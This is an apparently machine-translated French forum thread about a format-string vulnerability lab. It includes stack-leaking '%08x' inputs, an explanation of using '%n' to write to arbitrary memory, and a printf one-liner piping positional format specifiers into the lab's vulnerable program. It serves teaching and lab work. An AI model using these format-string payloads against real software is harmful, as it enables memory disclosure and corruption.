Je travaille sur un laboratoire de vulnérabilité au format-String, où nous avons reçu le code suivant:
The variable secret's address is 0xbfffe7cc (on stack) The variable secret's value is -x0804a008 (on heap) secret[0]'s address is 0x0804a008 (on heap) secret[1]'s address is 0x0804a00c (on heap) Please enter a decimal integer 65535 Please enter a string %08x.%08x.%08x.%08x.%08x.%08x.%08x%08x. bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025
3 Réponses :
L'astuce consiste à utiliser le spécificateur % n code> dans la chaîne de format spécifiée par l'utilisateur.
% n code> dit de prendre le nombre d'octets écrits jusqu'à présent et les stocker à l'adresse pointée par l'argument suivant em>. Lorsque vous ne fournissez pas suffisamment d'arguments sur
PrintF code>, l'adresse qu'elle écrit est quelle que soit la valeur suivante sur la pile. Si vous pouvez exploiter cette adresse pour être ce que vous voulez, vous pouvez essentiellement écrire un entier de 4 octets n'importe où dans la mémoire.
// Normal usage: count receives the value 14, since 14 bytes were written when
// the %n was encountered
int count;
printf("Hello, world!\n%n", &count);
// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in
// memory
printf("Hello, world!\n%n");
C'est correct, mais vous étiez un peu en avance sur moi: je suis en train de jouer en essayant de trouver simplement les valeurs qui n'étaient pas sur la pile. Une fois que les valeurs sont disponibles, elles ne sont pas trop difficiles à modifier. Je me manque la réponse douloureusement évidente, ce qui est peut-être pourquoi vous avez expliqué la partie la plus compliquée (ou au moins plus intéressante).
Pour accéder au secret [1], vous devez entrer l'adresse informatique comme entrée entière.
Please enter a decimal integer 73740 Please enter a string %08x.%08x.%08x.%08x.%08x.%08x.%s 00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U
Yup, c'est ce que j'avais manqué. Je me sentais comme un idiot total après avoir trouvé cela. Merci!
Vous pouvez réellement spécifier le décalage directement dans la chaîne de format.
EG. P>
$ printf "ADDRESS_IN_DECIMAL\n%%ADDRESS_OFFSET\$p_%%ADDRESS_OFFSET\$s\n" | ./vul_prog